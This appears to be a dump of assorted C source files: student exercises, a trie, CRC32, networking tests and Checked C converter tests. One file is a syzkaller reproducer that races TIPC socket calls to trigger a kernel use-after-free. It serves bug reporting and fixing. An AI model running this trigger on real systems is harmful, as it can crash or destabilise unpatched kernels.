file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/671152.c | #include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
typedef struct Trie {
struct Trie *subs[27];
char letters[27];
} Trie;
/** Initialize your data structure here. */
static Trie* trieCreate()
{
Trie *obj = malloc(sizeof(*obj));
memset(obj->letters, 0xff, sizeof(obj->letters));
memset(&obj->subs[0], 0, sizeof(obj->subs));
return obj;
}
/** Inserts a word into the trie. */
static void trieInsert(Trie* obj, char* word)
{
while (*word != '\0') {
int pos = *word - 'a' + 1;
obj->letters[pos] = *word++;
if (obj->subs[pos] == NULL) {
obj->subs[pos] = trieCreate();
}
obj = obj->subs[pos];
}
obj->letters[0] = '\0';
}
/** Returns if the word is in the trie. */
static bool trieSearch(Trie* obj, char* word)
{
while (obj != NULL) {
int pos = *word == '\0' ? 0 : *word - 'a' + 1;
if (obj->letters[pos] != *word) {
return false;
}
word++;
obj = obj->subs[pos];
}
return true;
}
/** Returns if there is any word in the trie that starts with the given prefix. */
static bool trieStartsWith(Trie* obj, char* prefix)
{
while (*prefix != '\0') {
int pos = *prefix - 'a' + 1;
if (pos < 0 || obj->letters[pos] != *prefix) {
return false;
}
if (*++prefix != '\0') {
if (obj->subs[pos] == NULL) {
return false;
}
obj = obj->subs[pos];
}
}
return true;
}
static void trieFree(Trie* obj)
{
int i;
for (i = 0; i < sizeof(obj->letters); i++) {
if (obj->subs[i] != NULL) {
trieFree(obj->subs[i]);
}
}
free(obj);
}
int main(void)
{
char *word1 = "abc";
char *word2 = "ab";
Trie* obj = trieCreate();
trieInsert(obj, word1);
printf("%s\n", trieSearch(obj, word1) ? "true" : "false");
printf("%s\n", trieSearch(obj, word2) ? "true" : "false");
trieInsert(obj, word2);
printf("%s\n", trieSearch(obj, word2) ? "true" : "false");
trieInsert(obj, word2);
printf("%s\n", trieStartsWith(obj, word2) ? "true" : "false");
trieFree(obj);
return 0;
}
|
the_stack_data/97526.c | #include<stdio.h>
#include<stdlib.h>
//Program to convert a 32-bit Decimal numbers to Binary
//1) Do not change the signature of convert_2, or your task receives zero
//2) No globals allowed.
char* convert_2(int dec)
{
//TODO: your implementation
char* con = (char* )malloc(50);
int bit= 0x80000000;
int i=0,j;
con[i++] = '0';
con[i++] = 'b';
//loop 32 times
for(j=0;j<32;j++) {
//spaces between
if(j%4 == 0 && j > 0) con[i++] = ' ';
if(dec & bit) con[i++] = '1';
else con[i++] = '0';
// left bit shift
dec <<= 1;
}
return con;
}
int main() {
int n;
char * bin;
printf("Enter the Decimal Number\n");
scanf("%d",&n);
bin = convert_2(n);
printf("The Binary Notation of %d is\t %s\n", n, bin);
//TODO: do we need to release the memory of bin?
free (bin);
} |
the_stack_data/825809.c | #include<stdio.h> /* 编译预处理命令,包含stdio.h头文件 */
#include<math.h> /* 编译预处理命令,包含math.h头文件 */
int main() /* 主函数 */
{
int i,sum,t,a,count=0; /* i:循环变量,sum:各数位数字立方和,t:临时变量,a:末位数,count:个数 */
printf("1-10000之间所有水仙花数:\n");
for(i=1;i<=10000;i++) /* i从1开始,到10000结束,每次增加1 */
{
sum=0; /* 令sum=0 */
t=i; /* 令t=i */
while(t!=0) /* 求t的各数位数字的立方和 */
{
a=t%10; /* 取t的末位数 */
sum=sum+pow(a,3); /* 累加各数位数字的立方和 */
t=t/10; /* 去掉t的末位数 */
}
if(sum==i) /* 若该整数各数位数字的立方和等于本身 */
{
printf("%d\n",i); /* 输出该数 */
count++; /* 个数+1 */
}
}
printf("一共有%d个",count);
return 0; /* 函数返回0 */
} |
the_stack_data/1008675.c | /* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main() {
int mark2,mark1,sum;
float avg;
printf("Input sub 1 mork : ");
scanf("%d", &mark1);
printf("Input sub 1 mork : ");
scanf("%d", &mark2);
//Calculations
sum = mark1 + mark2;
avg = sum/2.0;
printf("Average of the two marks : %.2f", avg);
return 0;
}
|
the_stack_data/167330431.c | // KASAN: use-after-free Read in tipc_group_is_open
// https://syzkaller.appspot.com/bug?id=7d9e6b86d74faf91174e35ea6e4d8f337f81983d
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <linux/futex.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
__attribute__((noreturn)) static void doexit(int status)
{
volatile unsigned i;
syscall(__NR_exit_group, status);
for (i = 0;; i++) {
}
}
#include <stdint.h>
#include <string.h>
const int kFailStatus = 67;
const int kRetryStatus = 69;
static void fail(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit((e == ENOMEM || e == EAGAIN) ? kRetryStatus : kFailStatus);
}
static uint64_t current_time_ms()
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
fail("clock_gettime failed");
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void test();
void loop()
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
fail("loop fork failed");
if (pid == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
test();
doexit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
int res = waitpid(-1, &status, __WALL | WNOHANG);
if (res == pid)
break;
usleep(1000);
if (current_time_ms() - start > 5 * 1000) {
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
while (waitpid(-1, &status, __WALL) != pid) {
}
break;
}
}
}
}
struct thread_t {
int created, running, call;
pthread_t th;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int collide;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
return 0;
}
static void execute(int num_calls)
{
int call, thread;
running = 0;
for (call = 0; call < num_calls; call++) {
for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
pthread_create(&th->th, &attr, thr, th);
}
if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
if (collide && call % 2)
break;
struct timespec ts;
ts.tv_sec = 0;
ts.tv_nsec = 20 * 1000 * 1000;
syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
if (running)
usleep((call == num_calls - 1) ? 10000 : 1000);
break;
}
}
}
}
long r[1];
uint64_t procid;
void execute_call(int call)
{
switch (call) {
case 0:
syscall(__NR_mmap, 0x20000000, 0xfff000, 3, 0x32, -1, 0);
break;
case 1:
r[0] = syscall(__NR_socket, 0x1e, 4, 0);
break;
case 2:
*(uint32_t*)0x20265000 = 0x3fc;
*(uint32_t*)0x20265004 = 0;
*(uint32_t*)0x20265008 = 1;
*(uint32_t*)0x2026500c = 0;
syscall(__NR_setsockopt, -1, 0x10f, 0x87, 0x20265000, 0x10);
break;
case 3:
*(uint64_t*)0x20c5cfc8 = 0x20c71fd2;
*(uint32_t*)0x20c5cfd0 = 0x2e;
*(uint64_t*)0x20c5cfd8 = 0x203aef90;
*(uint64_t*)0x20c5cfe0 = 7;
*(uint64_t*)0x20c5cfe8 = 0x20384e60;
*(uint64_t*)0x20c5cff0 = 0x40;
*(uint32_t*)0x20c5cff8 = 0x20000000;
*(uint16_t*)0x20c71fd2 = 0x18;
*(uint32_t*)0x20c71fd4 = 1;
*(uint32_t*)0x20c71fd8 = 0;
*(uint32_t*)0x20c71fdc = r[0];
*(uint16_t*)0x20c71fe0 = 2;
*(uint16_t*)0x20c71fe2 = htobe16(0x4e21 + procid * 4);
*(uint8_t*)0x20c71fe4 = 0xac;
*(uint8_t*)0x20c71fe5 = 0x14;
*(uint8_t*)0x20c71fe6 = 0 + procid * 1;
*(uint8_t*)0x20c71fe7 = 0xc;
*(uint8_t*)0x20c71fe8 = 0;
*(uint8_t*)0x20c71fe9 = 0;
*(uint8_t*)0x20c71fea = 0;
*(uint8_t*)0x20c71feb = 0;
*(uint8_t*)0x20c71fec = 0;
*(uint8_t*)0x20c71fed = 0;
*(uint8_t*)0x20c71fee = 0;
*(uint8_t*)0x20c71fef = 0;
*(uint32_t*)0x20c71ff0 = 0;
*(uint32_t*)0x20c71ff4 = 3;
*(uint32_t*)0x20c71ff8 = 4;
*(uint32_t*)0x20c71ffc = 1;
*(uint64_t*)0x203aef90 = 0x207f3000;
*(uint64_t*)0x203aef98 = 0;
*(uint64_t*)0x203aefa0 = 0x20c96f89;
*(uint64_t*)0x203aefa8 = 0;
*(uint64_t*)0x203aefb0 = 0x20ac6000;
*(uint64_t*)0x203aefb8 = 0;
*(uint64_t*)0x203aefc0 = 0x20e5ef8e;
*(uint64_t*)0x203aefc8 = 0;
*(uint64_t*)0x203aefd0 = 0x206e7f12;
*(uint64_t*)0x203aefd8 = 0;
*(uint64_t*)0x203aefe0 = 0x20d5bfea;
*(uint64_t*)0x203aefe8 = 0;
*(uint64_t*)0x203aeff0 = 0x2075b000;
*(uint64_t*)0x203aeff8 = 0;
*(uint64_t*)0x20384e60 = 0x10;
*(uint32_t*)0x20384e68 = 6;
*(uint32_t*)0x20384e6c = 4;
*(uint64_t*)0x20384e70 = 0x10;
*(uint32_t*)0x20384e78 = 0x110;
*(uint32_t*)0x20384e7c = 0;
*(uint64_t*)0x20384e80 = 0x10;
*(uint32_t*)0x20384e88 = 0x11f;
*(uint32_t*)0x20384e8c = 0;
*(uint64_t*)0x20384e90 = 0x10;
*(uint32_t*)0x20384e98 = 0x11b;
*(uint32_t*)0x20384e9c = 8;
syscall(__NR_sendmsg, r[0], 0x20c5cfc8, 0x4000);
break;
case 4:
*(uint16_t*)0x20745000 = 0x27;
*(uint32_t*)0x20745004 = 0;
*(uint32_t*)0x20745008 = -1;
*(uint32_t*)0x2074500c = 3;
syscall(__NR_bind, -1, 0x20745000, 0x10);
break;
case 5:
*(uint32_t*)0x20265000 = 0x3fc;
*(uint32_t*)0x20265004 = 0;
*(uint32_t*)0x20265008 = 0;
*(uint32_t*)0x2026500c = 0;
syscall(__NR_setsockopt, r[0], 0x10f, 0x87, 0x20265000, 0x10);
break;
case 6:
*(uint32_t*)0x20ef5000 = r[0];
*(uint16_t*)0x20ef5004 = 0;
*(uint16_t*)0x20ef5006 = 0;
*(uint32_t*)0x20ef5008 = r[0];
*(uint16_t*)0x20ef500c = 0x40;
*(uint16_t*)0x20ef500e = 0;
*(uint32_t*)0x20ef5010 = r[0];
*(uint16_t*)0x20ef5014 = 0xf023;
*(uint16_t*)0x20ef5016 = 0;
*(uint32_t*)0x20ef5018 = r[0];
*(uint16_t*)0x20ef501c = 0x9000;
*(uint16_t*)0x20ef501e = 0;
*(uint32_t*)0x20ef5020 = r[0];
*(uint16_t*)0x20ef5024 = 8;
*(uint16_t*)0x20ef5026 = 0;
*(uint32_t*)0x20ef5028 = r[0];
*(uint16_t*)0x20ef502c = 0x400;
*(uint16_t*)0x20ef502e = 0;
*(uint32_t*)0x20ef5030 = r[0];
*(uint16_t*)0x20ef5034 = 0x2008;
*(uint16_t*)0x20ef5036 = 0;
*(uint32_t*)0x20ef5038 = r[0];
*(uint16_t*)0x20ef503c = 0x8000;
*(uint16_t*)0x20ef503e = 0;
*(uint32_t*)0x20ef5040 = r[0];
*(uint16_t*)0x20ef5044 = 0x2000;
*(uint16_t*)0x20ef5046 = 0;
*(uint32_t*)0x20ef5048 = r[0];
*(uint16_t*)0x20ef504c = 0x10;
*(uint16_t*)0x20ef504e = 0;
syscall(__NR_poll, 0x20ef5000, 0xa, 0x7fff);
break;
}
}
void test()
{
memset(r, -1, sizeof(r));
execute(7);
collide = 1;
execute(7);
}
int main()
{
for (procid = 0; procid < 8; procid++) {
if (fork() == 0) {
for (;;) {
loop();
}
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/200144551.c | #include<stdio.h>
#include<stdlib.h>
struct node{
int data;
int flag;
struct node *next;
};
typedef struct node * nodeptr;
nodeptr getNode(int data){
nodeptr q = (nodeptr)malloc(sizeof(struct node));
q->data = data;
q->flag =0;
return q;
}
void deleteNode(nodeptr p){
if (p==p->next || p==NULL)
{
printf("List is empty.Cant Delete");
}
else{
nodeptr q;
q=p->next;
p->next = q->next;
free(q);
}
}
void insertNode(nodeptr p){
nodeptr q;
printf("enter number to insert");
int data;
scanf("%d",&data);
q = getNode(data);
q->next = p->next;
p->next = q;
}
void displayNodes(nodeptr p){
if(p==p->next){
printf("List Empty");
}
else{
nodeptr q = p->next;
do
{
printf("data = %d",q->data);
q = q->next;
} while (q->flag!=1);
}
}
void main(){
nodeptr header = (nodeptr)malloc(sizeof(struct node));
header->next = header;
header->flag = 1;
header->data = -1;
int ch;
while (1)
{
printf("Enter your Choice: ");
scanf("%d",&ch);
switch(ch){
case 1:
insertNode(header);
break;
case 2:
deleteNode(header);
break;
case 3:
displayNodes(header);
break;
case 4:
exit(0);
default:
printf("Invalid Option");
}
}
}
|
the_stack_data/801194.c | // RUN: rm -rf %t*
// RUN: 3c -base-dir=%S -alltypes -addcr %s -- | FileCheck -match-full-lines -check-prefixes="CHECK_ALL","CHECK" %s
// RUN: 3c -base-dir=%S -addcr %s -- | FileCheck -match-full-lines -check-prefixes="CHECK_NOALL","CHECK" %s
// RUN: 3c -base-dir=%S -addcr %s -- | %clang -c -fcheckedc-extension -x c -o /dev/null -
// RUN: 3c -base-dir=%S -alltypes -output-dir=%t.checked %s --
// RUN: 3c -base-dir=%t.checked -alltypes %t.checked/b21_calleepointerstructproto.c -- | diff %t.checked/b21_calleepointerstructproto.c -
#include <stddef.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct np {
int x;
int y;
};
struct p {
int *x;
//CHECK: int *x;
char *y;
//CHECK: char *y;
};
struct r {
int data;
struct r *next;
//CHECK: _Ptr<struct r> next;
};
struct p *sus(struct p *, struct p *);
//CHECK: struct p *sus(_Ptr<struct p> x, _Ptr<struct p> y) : itype(_Ptr<struct p>);
struct p *foo() {
//CHECK: _Ptr<struct p> foo(void) {
int ex1 = 2, ex2 = 3;
struct p *x;
//CHECK: _Ptr<struct p> x = ((void *)0);
struct p *y;
//CHECK: _Ptr<struct p> y = ((void *)0);
x->x = &ex1;
y->x = &ex2;
x->y = &ex2;
y->y = &ex1;
struct p *z = (struct p *)sus(x, y);
//CHECK: _Ptr<struct p> z = (_Ptr<struct p>)sus(x, y);
return z;
}
struct p *bar() {
//CHECK: _Ptr<struct p> bar(void) {
int ex1 = 2, ex2 = 3;
struct p *x;
//CHECK: _Ptr<struct p> x = ((void *)0);
struct p *y;
//CHECK: _Ptr<struct p> y = ((void *)0);
x->x = &ex1;
y->x = &ex2;
x->y = &ex2;
y->y = &ex1;
struct p *z = (struct p *)sus(x, y);
//CHECK: _Ptr<struct p> z = (_Ptr<struct p>)sus(x, y);
return z;
}
struct p *sus(struct p *x, struct p *y) {
//CHECK: struct p *sus(_Ptr<struct p> x, _Ptr<struct p> y) : itype(_Ptr<struct p>) {
x->y += 1;
struct p *z = malloc(sizeof(struct p));
//CHECK: struct p *z = malloc<struct p>(sizeof(struct p));
z += 1;
z->x = 1;
z->y = 4;
return z;
}
|
the_stack_data/132953137.c | #include <stdint.h>
void main() {
int a = 3, b = 2, c;
}
|
the_stack_data/64200054.c | #include <stdint.h>
#include <string.h>
static const uint32_t crc32tab[256] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};
uint32_t crc32(const char *data, size_t len, uint32_t ignored) {
uint32_t crc = 0xffffffff;
const char *end = data + len;
const char *ptr;
for (ptr = data; ptr < end; ptr++) {
crc = (crc >> 8) ^ crc32tab[(crc ^ (*ptr)) & 0xff];
}
return crc;
}
|
the_stack_data/6388622.c | #include <stdio.h>
int main()
{
printf("Hola, mundo.");
return 0;
} |
the_stack_data/114148.c | #include<stdio.h>
int main()
{
int a[5],sum=0,i;
int search_ele;
printf("Enter array elements:");
for(i=0;i<5;i++)
{
scanf("%d",&a[i]);
}
printf("\nWhich element to search=");
scanf("%d",&search_ele);
for(i=0;i<5;i++)
{
if(a[i]==search_ele)
{
printf("\nElement found at position %d",i);
return(0);
}
}
printf("\nElement not found");
}
|
the_stack_data/87637452.c | #include <stdio.h>
#include <openssl/evp.h>
#include <openssl/x509.h>
#include <openssl/ssl.h>
#include <openssl/pem.h>
#include <openssl/err.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
int test_gethost(void)
{
int i;
struct hostent *h;
printf("gethostbyname\n");
h = gethostbyname("120.77.1.207");
if (h == NULL)
{
printf("gethostbyname error\n");
return -1;
}
if (h->h_name)
{
printf("h_name:%s\n", h->h_name);
}
printf("h_aliases:\n");
for (i=0; ;i++)
{
if (h->h_aliases[i] == NULL)
{
printf("break i=%d\n", i);
break;
}
printf(" %s\n", h->h_aliases[i]);
}
printf("h_addrtype:%d\n", h->h_addrtype);
printf("h_length:%d\n", h->h_length);
printf("h_addr_list:\n");
for (i=0; ; i++)
{
if (h->h_addr_list[i] == NULL)
{
printf("break i=%d\n", i);
break;
}
printf(" %s\n", inet_ntoa(*(struct in_addr*)(h->h_addr_list[i])));
}
printf("gethostbyaddr\n");
struct in_addr sin_addr;
sin_addr.s_addr = inet_addr("120.77.1.207");
h = gethostbyaddr((char*)&sin_addr.s_addr, 4, AF_INET);
if (h == NULL)
{
printf("gethostbyaddr error\n");
return -1;
}
if (h->h_name)
{
printf("h_name:%s\n", h->h_name);
}
printf("h_aliases:\n");
for (i=0; ;i++)
{
if (h->h_aliases[i] == NULL)
{
printf("break i=%d\n", i);
break;
}
printf(" %s\n", h->h_aliases[i]);
}
printf("h_addrtype:%d\n", h->h_addrtype);
printf("h_length:%d\n", h->h_length);
printf("h_addr_list:\n");
for (i=0; ; i++)
{
if (h->h_addr_list[i] == NULL)
{
printf("break i=%d\n", i);
break;
}
printf(" %s\n", inet_ntoa(*(struct in_addr*)(h->h_addr_list[i])));
}
return 0;
}
|
the_stack_data/150140695.c | /*For integers
*/
#include <stdio.h>
#define _gc() getchar_unlocked()
#define _pc(x) putchar_unlocked(x);
inline int getint(){int x=0;register int c=_gc();while(!(c>='0'&&c<='9')){c=_gc();}while(c>='0'&&c<='9'){x=(x<<3)+(x<<1)+(c-'0');c=_gc();}return x;}
inline void putint(int n){int N=n,r=n,c=0;if(N==0){_pc('0');_pc('\n');return;}while(r%10==0){c++;r/=10;}r=0;while(N!=0){r=(r<<3)+(r<<1)+N%10;N/=10;}while(r!=0){_pc(r%10+'0');r/=10;}while(c--){_pc('0');}_pc('\n');}
int main(){
int x = getint();
putint(x);
} |
the_stack_data/59512256.c | #include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#define PORT_NUM 50003
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("%s addr message...\n", argv[0]);
return -1;
}
int sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (sock == -1) {
perror("socket");
return -1;
}
struct sockaddr_in6 addr;
memset(&addr, 0, sizeof(struct sockaddr_in6));
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(PORT_NUM);
if (inet_pton(AF_INET6, argv[1], &addr.sin6_addr) <= 0) {
perror("inet_pton");
return -1;
}
for (int i = 2; i < argc; ++i) {
char buffer[32];
size_t len = strlen(argv[i]);
if (sendto(sock, argv[i], len, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr_in6)) != len) {
perror("sendto");
return -1;
}
ssize_t n_bytes = recvfrom(sock, buffer, 32, 0, NULL, NULL);
if (n_bytes == -1) {
perror("recvfrom");
return -1;
}
printf("## Response %d: %.*s\n", i - 1, (int)n_bytes, buffer);
}
return 0;
} |
the_stack_data/132586.c | #pragma hmpp astex_codelet__2 codelet &
#pragma hmpp astex_codelet__2 , args[__astex_addr__astex_do_return].io=out &
#pragma hmpp astex_codelet__2 , args[__astex_addr__astex_what_return].io=out &
#pragma hmpp astex_codelet__2 , target=C &
#pragma hmpp astex_codelet__2 , version=1.4.0
void astex_codelet__2(long x, int n, int __astex_addr__astex_what_return[1], int __astex_addr__astex_do_return[1])
{
int astex_do_return;
astex_do_return = 0;
int astex_what_return;
astex_thread_begin: {
if (x)
do
n++;
while (0 != (x = x & (x - 1)));
{
astex_what_return = (n);
astex_do_return = 1;
goto astex_thread_end;
}
}
astex_thread_end:;
__astex_addr__astex_what_return[0] = astex_what_return;
__astex_addr__astex_do_return[0] = astex_do_return;
}
|
the_stack_data/95875.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_toupper.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: wipariso <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2015/11/30 18:06:31 by wipariso #+# #+# */
/* Updated: 2015/12/01 02:09:52 by wipariso ### ########.fr */
/* */
/* ************************************************************************** */
int ft_toupper(int n)
{
if (n >= 'a' && n <= 'z')
n = n - 'a' + 'A';
return (n);
}
|
the_stack_data/86076073.c | /**
* @file
*
* @brief dummy file do document the enums which have no name in the header file.
*
* They are duplicated here to document them.
*
*
* @copyright BSD License (see doc/COPYING or http://www.libelektra.org)
*/
// clang-format off
/**
* Allows keyNew() to determine which information comes next.
*
* @ingroup key
* @see keyNew()
*/
enum keyswitch_t
{
KEY_NAME=1, /*!< Flag for the key name */
KEY_VALUE=1<<1, /*!< Flag for the key data */
KEY_OWNER=1<<2, /*!< Flag for the key user domain */
KEY_COMMENT=1<<3, /*!< Flag for the key comment */
KEY_BINARY=1<<4, /*!< Flag if the key is binary */
KEY_UID=1<<5, /*!< Flag for the key UID @deprecated do not use */
KEY_GID=1<<6, /*!< Flag for the key GID @deprecated do not use */
KEY_MODE=1<<7, /*!< Flag for the key permissions @deprecated do not use */
KEY_ATIME=1<<8, /*!< Flag for the key access time @deprecated do not use */
KEY_MTIME=1<<9, /*!< Flag for the key change time @deprecated do not use */
KEY_CTIME=1<<10, /*!< Flag for the key status change time @deprecated do not use */
KEY_SIZE=1<<11, /*!< Flag for maximum size to limit value */
KEY_DIR=1<<14, /*!< Flag for the key directories @deprecated do not use */
KEY_META=1<<15, /*!< Flag for meta data*/
KEY_END=0 /*!< Used as a parameter terminator to keyNew() */
};
/**
* Elektra currently supported Key namespaces.
*
* @ingroup key
* @see kdbGet(), keyGetNamespace()
*/
enum elektraNamespace
{
KEY_NS_NONE=0, ///< no key given as parameter to keyGetNamespace()
KEY_NS_EMPTY=1, ///< key name was empty, e.g. invalid key name
KEY_NS_META=2, ///< meta key, i.e. any key name not under other categories
KEY_NS_CASCADING=3, ///< cascading key, starts with /, abstract name for any of the namespaces below
KEY_NS_FIRST=4, ///< For iteration over namespaces (first element, inclusive)
KEY_NS_SPEC=4, ///< spec contains the specification of the other namespaces
KEY_NS_PROC=5, ///< proc contains process-specific configuration
KEY_NS_DIR=6, ///< dir contains configuration from a specific directory
KEY_NS_USER=7, ///< user key in the home directory of the current user
KEY_NS_SYSTEM=8, ///< system key is shared for a computer system
KEY_NS_LAST=8 ///< For iteration over namespaces (last element, inclusive)
};
/**
* End of a list of keys.
*
* Use this macro to define the end of a variable-length list
* of keys.
*
* @def KS_END
* @see ksNew() and ksVNew()
*/
#define KS_END ((Key*)0)
/**
* Options to change the default behavior of
* ksLookup() functions.
*
* These options can be ORed. That is the |-Operator in C.
*
* @ingroup keyset
* @see kdbGet(), kdbSet()
*/
enum option_t
{
/**
* No Option set.
*
* @see ksLookup()
*/
KDB_O_NONE=0,
/**
* Delete parentKey key in ksLookup().
*
* @see ksLookup()
*/
KDB_O_DEL=1,
/** Pop Parent out of keyset key in ksLookup().
*
* @see ksPop().
*/
KDB_O_POP=1<<1,
/**
* Feature not available
*
* TODO: remove for 1.0
*/
KDB_O_NODIR=1<<2,
/**
* Feature not available
*
* TODO: remove for 1.0
*/
KDB_O_DIRONLY=1<<3,
/**
* Feature not available
*
* TODO: remove for 1.0
*/
KDB_O_NOREMOVE=1<<6,
/**
